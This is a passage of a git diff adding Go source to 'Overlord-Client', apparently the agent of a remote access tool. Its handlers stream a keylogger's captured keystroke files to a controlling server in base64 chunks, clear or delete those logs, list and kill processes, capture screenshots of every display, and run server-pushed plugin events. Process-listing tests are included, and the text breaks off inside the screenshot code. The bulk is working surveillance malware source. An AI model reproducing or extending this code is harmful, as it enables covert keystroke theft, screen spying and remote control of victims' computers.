+ if env.Keylogger == nil {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "command_result",
+ "commandId": cmdID,
+ "ok": false,
+ "message": "Keylogger not initialized",
+ })
+ }
+
+ if filename == "" {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "command_result",
+ "commandId": cmdID,
+ "ok": false,
+ "message": "Filename required",
+ })
+ }
+
+ env.Keylogger.FlushNow()
+
+ data, err := env.Keylogger.ReadFile(filename)
+ if err != nil {
+ log.Printf("[keylogger] read error: %v", err)
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "command_result",
+ "commandId": cmdID,
+ "ok": false,
+ "message": err.Error(),
+ })
+ }
+
+ if len(data) <= MaxChunkSize {
+ content := string(data)
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_file_content",
+ "filename": filename,
+ "content": content,
+ })
+ }
+
+ totalChunks := (len(data) + MaxChunkSize - 1) / MaxChunkSize
+ for i := 0; i < totalChunks; i++ {
+ start := i * MaxChunkSize
+ end := start + MaxChunkSize
+ if end > len(data) {
+ end = len(data)
+ }
+
+ chunk := data[start:end]
+ isLast := i == totalChunks-1
+
+ encoded := base64.StdEncoding.EncodeToString(chunk)
+
+ if err := wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_file_chunk",
+ "filename": filename,
+ "chunk": i,
+ "total": totalChunks,
+ "content": encoded,
+ "isLast": isLast,
+ "isEncoded": true,
+ }); err != nil {
+ log.Printf("[keylogger] send chunk error: %v", err)
+ return err
+ }
+
+ if isLast {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_file_content",
+ "filename": filename,
+ "content": string(data),
+ })
+ }
+ }
+
+ return nil
+}
+
+func HandleKeylogClearAll(ctx context.Context, env *runtime.Env, cmdID string) error {
+ if env.Keylogger == nil {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_clear_result",
+ "commandId": cmdID,
+ "ok": false,
+ "error": "Keylogger not initialized",
+ })
+ }
+
+ err := env.Keylogger.ClearAll()
+ if err != nil {
+ log.Printf("[keylogger] clear error: %v", err)
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_clear_result",
+ "commandId": cmdID,
+ "ok": false,
+ "error": err.Error(),
+ })
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_clear_result",
+ "ok": true,
+ })
+}
+
+func HandleKeylogDelete(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
+ if env.Keylogger == nil {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_delete_result",
+ "commandId": cmdID,
+ "ok": false,
+ "error": "Keylogger not initialized",
+ })
+ }
+
+ if filename == "" {
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_delete_result",
+ "commandId": cmdID,
+ "ok": false,
+ "error": "Filename required",
+ })
+ }
+
+ if err := env.Keylogger.DeleteFile(filename); err != nil {
+ log.Printf("[keylogger] delete error: %v", err)
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_delete_result",
+ "commandId": cmdID,
+ "ok": false,
+ "error": err.Error(),
+ "filename": filename,
+ })
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
+ "type": "keylog_delete_result",
+ "ok": true,
+ "filename": filename,
+ })
+}
diff --git a/Overlord-Client/cmd/agent/handlers/notification_config.go b/Overlord-Client/cmd/agent/handlers/notification_config.go
new file mode 100644
index 0000000..33b3be7
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/notification_config.go
@@ -0,0 +1,39 @@
+package handlers
+
+import (
+ "context"
+ "log"
+ "strings"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+ if env == nil || envelope == nil {
+ return nil
+ }
+
+ var keywords []string
+ minInterval := 0
+
+ if raw, ok := envelope["keywords"].([]interface{}); ok {
+ for _, v := range raw {
+ if s, ok := v.(string); ok {
+ s = strings.TrimSpace(s)
+ if s != "" {
+ keywords = append(keywords, s)
+ }
+ }
+ }
+ }
+ if v, ok := envelope["minIntervalMs"].(float64); ok {
+ minInterval = int(v)
+ }
+ if v, ok := envelope["minIntervalMs"].(int); ok {
+ minInterval = v
+ }
+
+ env.SetNotificationConfig(keywords, minInterval)
+ log.Printf("notification_config: loaded %d keywords", len(keywords))
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/panic_guard.go b/Overlord-Client/cmd/agent/handlers/panic_guard.go
new file mode 100644
index 0000000..8b6170d
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/panic_guard.go
@@ -0,0 +1,56 @@
+package handlers
+
+import (
+ "context"
+ "fmt"
+ "log"
+ "os"
+ "path/filepath"
+ "runtime"
+ "runtime/debug"
+ "time"
+)
+
+const crashLogFileName = "crashlogC.log"
+
+func goSafe(label string, cancel context.CancelFunc, fn func()) {
+ go func() {
+ defer recoverAndLog(label, cancel)
+ fn()
+ }()
+}
+
+func recoverAndLog(label string, cancel context.CancelFunc) {
+ if r := recover(); r != nil {
+ reason := fmt.Sprintf("%s panic: %v", label, r)
+ stack := debug.Stack()
+ path := writeCrashLog(reason, stack)
+ log.Printf("[panic] %s (see %s)", reason, path)
+ if cancel != nil {
+ cancel()
+ }
+ }
+}
+
+func writeCrashLog(reason string, stack []byte) string {
+ dir := os.TempDir()
+ _ = os.MkdirAll(dir, 0700)
+ path := filepath.Join(dir, crashLogFileName)
+
+ file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+ if err != nil {
+ log.Printf("[panic] failed to open crash log %s: %v", path, err)
+ return path
+ }
+ defer file.Close()
+
+ timestamp := time.Now().UTC().Format(time.RFC3339)
+ _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
+ _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
+ _, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
+ if len(stack) > 0 {
+ _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
+ }
+
+ return path
+}
diff --git a/Overlord-Client/cmd/agent/handlers/ping.go b/Overlord-Client/cmd/agent/handlers/ping.go
new file mode 100644
index 0000000..1f23b2b
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/ping.go
@@ -0,0 +1,25 @@
+package handlers
+
+import (
+ "context"
+ "log"
+ "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+ "time"
+)
+
+func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+ ts := extractTimestamp(envelope["ts"])
+ if ts == 0 {
+ ts = time.Now().UnixMilli()
+ }
+ log.Printf("ping: received ts=%d, sending pong", ts)
+ pong := wire.Pong{Type: "pong", TS: ts}
+ if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
+ log.Printf("ping: failed to send pong: %v", err)
+ return err
+ }
+ log.Printf("ping: pong sent successfully")
+
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/plugin_event.go b/Overlord-Client/cmd/agent/handlers/plugin_event.go
new file mode 100644
index 0000000..b17136c
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/plugin_event.go
@@ -0,0 +1,25 @@
+package handlers
+
+import (
+ "context"
+ "log"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+ if env.Plugins == nil {
+ return nil
+ }
+ pluginID, _ := envelope["pluginId"].(string)
+ event, _ := envelope["event"].(string)
+ payload := envelope["payload"]
+ if pluginID == "" || event == "" {
+ log.Printf("plugin_event: missing pluginId or event")
+ return nil
+ }
+ if err := env.Plugins.Dispatch(ctx, pluginID, event, payload); err != nil {
+ log.Printf("plugin_event: dispatch failed for %s: %v", pluginID, err)
+ }
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/pong.go b/Overlord-Client/cmd/agent/handlers/pong.go
new file mode 100644
index 0000000..47ce4ce
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/pong.go
@@ -0,0 +1,13 @@
+package handlers
+
+import (
+ "context"
+ "time"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+func HandlePong(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+ env.SetLastPong(time.Now().UnixMilli())
+ return nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/processes.go b/Overlord-Client/cmd/agent/handlers/processes.go
new file mode 100644
index 0000000..8609719
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/processes.go
@@ -0,0 +1,52 @@
+package handlers
+
+import (
+ "context"
+ "log"
+
+ "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error {
+ log.Printf("process_list: listing all processes")
+
+ processes := []wire.ProcessInfo{}
+ var errMsg string
+
+ procs, err := listProcesses()
+ if err != nil {
+ errMsg = err.Error()
+ log.Printf("process_list error: %v", err)
+ } else {
+ processes = procs
+ }
+
+ result := wire.ProcessListResult{
+ Type: "process_list_result",
+ CommandID: cmdID,
+ Processes: processes,
+ Error: errMsg,
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
+
+func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
+ log.Printf("process_kill: %d", pid)
+
+ err := killProcess(pid)
+ ok := err == nil
+ errMsg := ""
+ if err != nil {
+ errMsg = err.Error()
+ }
+
+ result := wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: ok,
+ Message: errMsg,
+ }
+ return wire.WriteMsg(ctx, env.Conn, result)
+}
diff --git a/Overlord-Client/cmd/agent/handlers/processes_test.go b/Overlord-Client/cmd/agent/handlers/processes_test.go
new file mode 100644
index 0000000..368c878
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/processes_test.go
@@ -0,0 +1,260 @@
+package handlers
+
+import (
+ "context"
+ "testing"
+
+ "overlord-client/cmd/agent/config"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/vmihailenco/msgpack/v5"
+)
+
+func TestHandleProcessList(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-proc-1"
+
+ if err := HandleProcessList(ctx, env, cmdID); err != nil {
+ t.Fatalf("HandleProcessList failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.ProcessListResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ if result.Type != "process_list_result" {
+ t.Errorf("Expected type 'process_list_result', got '%s'", result.Type)
+ }
+ if result.CommandID != cmdID {
+ t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID)
+ }
+
+ if len(result.Processes) == 0 {
+ t.Log("WARNING: No processes returned (may indicate platform issue)")
+ } else {
+ t.Logf("Found %d processes", len(result.Processes))
+
+ for i, proc := range result.Processes {
+ if proc.PID <= 0 {
+ t.Errorf("Process %d has invalid PID: %d", i, proc.PID)
+ }
+ if proc.Name == "" {
+ t.Errorf("Process %d has empty name", i)
+ }
+ if proc.Memory < 0 {
+ t.Errorf("Process %d has negative memory: %d", i, proc.Memory)
+ }
+ if proc.CPU < 0 {
+ t.Errorf("Process %d has negative CPU: %f", i, proc.CPU)
+ }
+
+ validTypes := map[string]bool{
+ "system": true,
+ "service": true,
+ "own": true,
+ "other": true,
+ "": true,
+ }
+ if !validTypes[proc.Type] {
+ t.Errorf("Process %d has invalid type: %s", i, proc.Type)
+ }
+ }
+
+ pidExists := make(map[int32]bool)
+ for _, proc := range result.Processes {
+ pidExists[proc.PID] = true
+ }
+
+ for _, proc := range result.Processes {
+ if proc.PPID != 0 && !pidExists[proc.PPID] {
+ t.Logf("INFO: Process %d (%s) has PPID %d which is not in the list (may have exited)",
+ proc.PID, proc.Name, proc.PPID)
+ }
+ }
+ }
+}
+
+func TestHandleProcessList_ProcessTypes(t *testing.T) {
+ writer := &testWriter{}
+ env := &rt.Env{
+ Conn: writer,
+ Cfg: config.Config{},
+ }
+
+ ctx := context.Background()
+ cmdID := "test-cmd-proc-2"
+
+ if err := HandleProcessList(ctx, env, cmdID); err != nil {
+ t.Fatalf("HandleProcessList failed: %v", err)
+ }
+
+ if len(writer.msgs) != 1 {
+ t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
+ }
+
+ var result wire.ProcessListResult
+ if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
+ t.Fatalf("Failed to unmarshal result: %v", err)
+ }
+
+ typeCounts := make(map[string]int)
+ for _, proc := range result.Processes {
+ typeCounts[proc.Type]++
+ }
+
+ t.Logf("Process type distribution:")
+ for typ, count := range typeCounts {
+ label := typ
+ if label == "" {
+ label = "uncategorized"
+ }
+ t.Logf(" %s: %d", label, count)
+ }
+
+ if typeCounts["system"] == 0 {
+ t.Log("WARNING: No system processes detected")
+ }
+
+ examples := make(map[string][]string)
+ for _, proc := range result.Processes {
+ if len(examples[proc.Type]) < 3 {
+ examples[proc.Type] = append(examples[proc.Type], proc.Name)
+ }
+ }
+
+ t.Log("Example processes by type:")
+ for typ, procs := range examples {
+ label := typ
+ if label == "" {
+ label = "uncategorized"
+ }
+ t.Logf(" %s: %v", label, procs)
+ }
+}
+
+func TestProcessInfoFields(t *testing.T) {
+
+ proc := wire.ProcessInfo{
+ PID: 1234,
+ PPID: 1,
+ Name: "test.exe",
+ CPU: 25.5,
+ Memory: 1048576,
+ Username: "testuser",
+ Type: "own",
+ }
+
+ data, err := msgpack.Marshal(proc)
+ if err != nil {
+ t.Fatalf("Failed to marshal ProcessInfo: %v", err)
+ }
+
+ var decoded wire.ProcessInfo
+ if err := msgpack.Unmarshal(data, &decoded); err != nil {
+ t.Fatalf("Failed to unmarshal ProcessInfo: %v", err)
+ }
+
+ if decoded.PID != proc.PID {
+ t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID)
+ }
+ if decoded.PPID != proc.PPID {
+ t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID)
+ }
+ if decoded.Name != proc.Name {
+ t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name)
+ }
+ if decoded.CPU != proc.CPU {
+ t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU)
+ }
+ if decoded.Memory != proc.Memory {
+ t.Errorf("Memory mismatch: got %d, want %d", decoded.Memory, proc.Memory)
+ }
+ if decoded.Username != proc.Username {
+ t.Errorf("Username mismatch: got %s, want %s", decoded.Username, proc.Username)
+ }
+ if decoded.Type != proc.Type {
+ t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type)
+ }
+}
+
+func TestListProcesses_PlatformSpecific(t *testing.T) {
+
+ processes, err := listProcesses()
+ if err != nil {
+ t.Fatalf("listProcesses failed: %v", err)
+ }
+
+ if len(processes) == 0 {
+ t.Log("WARNING: No processes returned from listProcesses()")
+ return
+ }
+
+ t.Logf("Retrieved %d processes from system", len(processes))
+
+ for i, proc := range processes {
+ if i < 10 {
+ t.Logf("Process: PID=%d PPID=%d Name=%s CPU=%.2f%% Mem=%d User=%s Type=%s",
+ proc.PID, proc.PPID, proc.Name, proc.CPU, proc.Memory, proc.Username, proc.Type)
+ }
+
+ if proc.PID <= 0 {
+ t.Errorf("Process %d has invalid PID: %d", i, proc.PID)
+ }
+ }
+}
+
+func TestProcessTypeClassification(t *testing.T) {
+
+ processes, err := listProcesses()
+ if err != nil {
+ t.Fatalf("listProcesses failed: %v", err)
+ }
+
+ if len(processes) == 0 {
+ t.Skip("No processes available for testing")
+ }
+
+ var foundSystem, foundService, foundOwn bool
+ for _, proc := range processes {
+ switch proc.Type {
+ case "system":
+ foundSystem = true
+ t.Logf("System process example: PID=%d Name=%s User=%s",
+ proc.PID, proc.Name, proc.Username)
+ case "service":
+ foundService = true
+ t.Logf("Service process example: PID=%d Name=%s User=%s",
+ proc.PID, proc.Name, proc.Username)
+ case "own":
+ foundOwn = true
+ t.Logf("Own process example: PID=%d Name=%s User=%s",
+ proc.PID, proc.Name, proc.Username)
+ }
+
+ if foundSystem && foundService && foundOwn {
+ break
+ }
+ }
+
+ if !foundSystem {
+ t.Log("INFO: No system processes detected in classification")
+ }
+ if !foundService {
+ t.Log("INFO: No service processes detected in classification")
+ }
+ if !foundOwn {
+ t.Log("INFO: No own processes detected in classification")
+ }
+}
diff --git a/Overlord-Client/cmd/agent/handlers/processes_unix.go b/Overlord-Client/cmd/agent/handlers/processes_unix.go
new file mode 100644
index 0000000..ce5429e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/processes_unix.go
@@ -0,0 +1,89 @@
+//go:build !windows
+// +build !windows
+
+package handlers
+
+import (
+ "bufio"
+ "bytes"
+ "os/exec"
+ "strconv"
+ "strings"
+ "syscall"
+
+ "overlord-client/cmd/agent/wire"
+)
+
+func listProcesses() ([]wire.ProcessInfo, error) {
+
+ cmd := exec.Command("ps", "aux")
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, err
+ }
+
+ processes := make([]wire.ProcessInfo, 0)
+ scanner := bufio.NewScanner(bytes.NewReader(output))
+
+ scanner.Scan()
+
+ for scanner.Scan() {
+ line := scanner.Text()
+ fields := strings.Fields(line)
+ if len(fields) < 11 {
+ continue
+ }
+
+ pid, err := strconv.ParseInt(fields[1], 10, 32)
+ if err != nil {
+ continue
+ }
+
+ cpu, _ := strconv.ParseFloat(fields[2], 64)
+ mem, _ := strconv.ParseFloat(fields[3], 64)
+
+ memBytes := uint64(mem * 8 * 1024 * 1024 * 1024 / 100)
+
+ name := fields[10]
+ username := fields[0]
+
+ ppid := int32(0)
+ ppidCmd := exec.Command("ps", "-o", "ppid=", "-p", fields[1])
+ if ppidOutput, err := ppidCmd.Output(); err == nil {
+ ppidStr := strings.TrimSpace(string(ppidOutput))
+ if ppidVal, err := strconv.ParseInt(ppidStr, 10, 32); err == nil {
+ ppid = int32(ppidVal)
+ }
+ }
+
+ procType := "other"
+ if pid <= 2 || username == "root" {
+ procType = "system"
+ } else {
+
+ currentUserCmd := exec.Command("whoami")
+ if currentUserOutput, err := currentUserCmd.Output(); err == nil {
+ currentUser := strings.TrimSpace(string(currentUserOutput))
+ if username == currentUser {
+ procType = "own"
+ }
+ }
+ }
+
+ processes = append(processes, wire.ProcessInfo{
+ PID: int32(pid),
+ PPID: ppid,
+ Name: name,
+ CPU: cpu,
+ Memory: memBytes,
+ Username: username,
+ Type: procType,
+ })
+ }
+
+ return processes, scanner.Err()
+}
+
+func killProcess(pid int32) error {
+ return syscall.Kill(int(pid), syscall.SIGKILL)
+}
diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go
new file mode 100644
index 0000000..c0f324d
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go
@@ -0,0 +1,174 @@
+//go:build windows
+// +build windows
+
+package handlers
+
+import (
+ "fmt"
+ "strings"
+ "syscall"
+ "unsafe"
+
+ "overlord-client/cmd/agent/wire"
+
+ "golang.org/x/sys/windows"
+)
+
+var (
+ modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
+ modPsapi = windows.NewLazySystemDLL("psapi.dll")
+ procEnumProcesses = modPsapi.NewProc("EnumProcesses")
+ procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
+ procOpenProcess = modKernel32.NewProc("OpenProcess")
+ procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
+)
+
+type PROCESS_MEMORY_COUNTERS struct {
+ CB uint32
+ PageFaultCount uint32
+ PeakWorkingSetSize uintptr
+ WorkingSetSize uintptr
+ QuotaPeakPagedPoolUsage uintptr
+ QuotaPagedPoolUsage uintptr
+ QuotaPeakNonPagedPoolUsage uintptr
+ QuotaNonPagedPoolUsage uintptr
+ PagefileUsage uintptr
+ PeakPagefileUsage uintptr
+}
+
+func listProcesses() ([]wire.ProcessInfo, error) {
+ var pids [4096]uint32
+ var bytesReturned uint32
+
+ ret, _, _ := procEnumProcesses.Call(
+ uintptr(unsafe.Pointer(&pids[0])),
+ uintptr(len(pids)*4),
+ uintptr(unsafe.Pointer(&bytesReturned)),
+ )
+
+ if ret == 0 {
+ return nil, fmt.Errorf("EnumProcesses failed")
+ }
+
+ numProcesses := int(bytesReturned / 4)
+ processes := make([]wire.ProcessInfo, 0, numProcesses)
+
+ for i := 0; i < numProcesses; i++ {
+ pid := int32(pids[i])
+ if pid == 0 {
+ continue
+ }
+
+ handle, _, _ := procOpenProcess.Call(
+ windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
+ 0,
+ uintptr(pid),
+ )
+
+ if handle == 0 {
+ continue
+ }
+ defer windows.CloseHandle(windows.Handle(handle))
+
+ var filename [windows.MAX_PATH]uint16
+ ret, _, _ := procGetProcessImageFileNameW.Call(
+ handle,
+ uintptr(unsafe.Pointer(&filename[0])),
+ uintptr(len(filename)),
+ )
+
+ name := "Unknown"
+ if ret != 0 {
+ name = syscall.UTF16ToString(filename[:])
+
+ for i := len(name) - 1; i >= 0; i-- {
+ if name[i] == '\\' || name[i] == '/' {
+ name = name[i+1:]
+ break
+ }
+ }
+ }
+
+ var memCounters PROCESS_MEMORY_COUNTERS
+ memCounters.CB = uint32(unsafe.Sizeof(memCounters))
+ memory := uint64(0)
+
+ ret, _, _ = procGetProcessMemoryInfo.Call(
+ handle,
+ uintptr(unsafe.Pointer(&memCounters)),
+ uintptr(memCounters.CB),
+ )
+
+ if ret != 0 {
+ memory = uint64(memCounters.WorkingSetSize)
+ }
+
+ var pbi windows.PROCESS_BASIC_INFORMATION
+ ppid := int32(0)
+ err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
+ if err == nil {
+ ppid = int32(pbi.InheritedFromUniqueProcessId)
+ }
+
+ username := "System"
+ var token windows.Token
+ if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
+ defer token.Close()
+ tokenUser, err := token.GetTokenUser()
+ if err == nil {
+ account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
+ if err == nil {
+ if domain != "" {
+ username = domain + "\\" + account
+ } else {
+ username = account
+ }
+ }
+ }
+ }
+
+ procType := "other"
+ usernameLower := strings.ToLower(username)
+ nameLower := strings.ToLower(name)
+
+ if pid <= 4 || nameLower == "system" || nameLower == "registry" {
+ procType = "system"
+ } else if strings.Contains(usernameLower, "system") ||
+ strings.Contains(usernameLower, "local service") ||
+ strings.Contains(usernameLower, "network service") ||
+ usernameLower == "system" {
+ procType = "service"
+ } else {
+
+ currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
+ if err == nil {
+ tokenUser, err := token.GetTokenUser()
+ if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
+ procType = "own"
+ }
+ }
+ }
+
+ processes = append(processes, wire.ProcessInfo{
+ PID: pid,
+ PPID: ppid,
+ Name: name,
+ CPU: 0.0,
+ Memory: memory,
+ Username: username,
+ Type: procType,
+ })
+ }
+
+ return processes, nil
+}
+
+func killProcess(pid int32) error {
+ handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
+ if err != nil {
+ return err
+ }
+ defer windows.CloseHandle(handle)
+
+ return windows.TerminateProcess(handle, 1)
+}
diff --git a/Overlord-Client/cmd/agent/handlers/screenshot.go b/Overlord-Client/cmd/agent/handlers/screenshot.go
new file mode 100644
index 0000000..c7e114c
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/screenshot.go
@@ -0,0 +1,209 @@
+package handlers
+
+import (
+ "bytes"
+ "context"
+ "errors"
+ "image"
+ "image/draw"
+ "image/jpeg"
+ "log"
+ goruntime "runtime"
+
+ "overlord-client/cmd/agent/capture"
+ rt "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+
+ "github.com/kbinani/screenshot"
+)
+
+func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
+ if allDisplays {
+ log.Printf("screenshot: capturing all displays")
+ } else {
+ log.Printf("screenshot: capturing primary display")
+ }
+
+ defer func() {
+ if r := recover(); r != nil {
+ log.Printf("screenshot: panic recovered: %v", r)
+ wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "screenshot capture panicked",
+ })
+ }
+ }()
+
+ img, displayIndex, bounds, err := captureScreenshotImage(allDisplays)
+ if err != nil {
+ log.Printf("screenshot: capture failed: %v", err)
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ })
+ }
+
+ var buf bytes.Buffer
+ opts := &jpeg.Options{Quality: 85}
+ if err := jpeg.Encode(&buf, img, opts); err != nil {
+ log.Printf("screenshot: jpeg encode failed: %v", err)
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: err.Error(),
+ })
+ }
+
+ jpegData := buf.Bytes()
+ log.Printf("screenshot: captured %dx%d, encoded %d bytes", bounds.Dx(), bounds.Dy(), len(jpegData))
+
+ screenshotResult := wire.ScreenshotResult{
+ Type: "screenshot_result",
+ CommandID: cmdID,
+ Format: "jpeg",
+ Width: bounds.Dx(),
+ Height: bounds.Dy(),
+ Data: jpegData,
+ }
+
+ if err := wire.WriteMsg(ctx, env.Conn, screenshotResult); err != nil {
+ log.Printf("screenshot: failed to send screenshot result: %v", err)
+ return err
+ }
+
+ frame := wire.Frame{
+ Type: "frame",
+ Header: wire.FrameHeader{
+ Monitor: displayIndex,
+ FPS: 0,
+ Format: "jpeg",
+ },
+ Data: jpegData,
+ }
+
+ if err := wire.WriteMsg(ctx, env.Conn, frame); err != nil {
+ log.Printf("screenshot: failed to send frame: %v", err)
+ return err
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: true,
+ })
+}
+
+func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
+ if goruntime.GOOS == "windows" {
+ if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil {
+ return img, displayIndex, bounds, nil
+ }
+ }
+
+ n := screenshot.NumActiveDisplays()
+ if n == 0 {
+ return nil, 0, image.Rectangle{}, errors.New("no active displays available")
+ }
+
+ displayIndex := 0
+ if allDisplays {
+ minX := int(1e9)
+ minY := int(1e9)
+ maxX := int(-1e9)
+ maxY := int(-1e9)
+
+ for i := 0; i < n; i++ {
+ b := screenshot.GetDisplayBounds(i)
+ if b.Min.X < minX {
+ minX = b.Min.X
+ }
+ if b.Min.Y < minY {
+ minY = b.Min.Y
+ }
+ if b.Max.X > maxX {
+ maxX = b.Max.X
+ }
+ if b.Max.Y > maxY {
+ maxY = b.Max.Y
+ }
+ }
+
+ bounds := image.Rect(minX, minY, maxX, maxY)
+ img, err := screenshot.CaptureRect(bounds)
+ return img, displayIndex, bounds, err
+ }
+
+ minX := int(1e9)
+ minY := int(1e9)
+ for i := 0; i < n; i++ {
+ b := screenshot.GetDisplayBounds(i)
+ if b.Min.X <= minX && b.Min.Y <= minY {
+ minX = b.Min.X
+ minY = b.Min.Y
+ displayIndex = i
+ }
+ }
+ bounds := screenshot.GetDisplayBounds(displayIndex)
+ img, err := screenshot.CaptureRect(bounds)
+ return img, displayIndex, bounds, err
+}
+
+func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
+ monitorCount := capture.MonitorCount()
+ if monitorCount <= 0 {
+ return nil, 0, image.Rectangle{}, errors.New("no active displays available")
+ }
+
+ if !allDisplays {
+ img, err := capture.CaptureDisplayRGBABitBlt(0)
+ if err != nil || img == nil {
+ return nil, 0, image.Rectangle{}, err
+ }
+ return img, 0, img.Rect, nil
+ }
+
+ type monCapture struct {
+ bounds image.Rectangle
+ img *image.RGBA
+ }
+ parts := make([]monCapture, 0, monitorCount)
+ minX, minY := int(1e9), int(1e9)
+ maxX, maxY := int(-1e9), int(-1e9)
+
+ for i := 0; i < monitorCount; i++ {
+ bounds := capture.DisplayBounds(i)
+ img, err := capture.CaptureDisplayRGBABitBlt(i)
+ if err != nil || img == nil {
+ return nil, 0, image.Rectangle{}, err
+ }
+ parts = append(parts, monCapture{bounds: bounds, img: img})
+ if bounds.Min.X < minX {
+ minX = bounds.Min.X
+ }
+ if bounds.Min.Y < minY {
+ minY = bounds.Min.Y
+ }
+ if bounds.Max.X > maxX {
+ maxX = bounds.Max.X
+ }
+ if bounds.Max.Y > maxY {
+ maxY = bounds.Max.Y
+ }
+ }
+
+ virtualBounds := image.Rect(minX, minY, maxX, maxY)
+ canvas := image.NewRGBA(image.Rect(0, 0, virtualBounds.Dx(), virtualBounds.Dy()))
+ for _, part := range parts {
+ offX := part.bounds.Min.X - minX
+ offY := part.bounds.Min.Y - minY
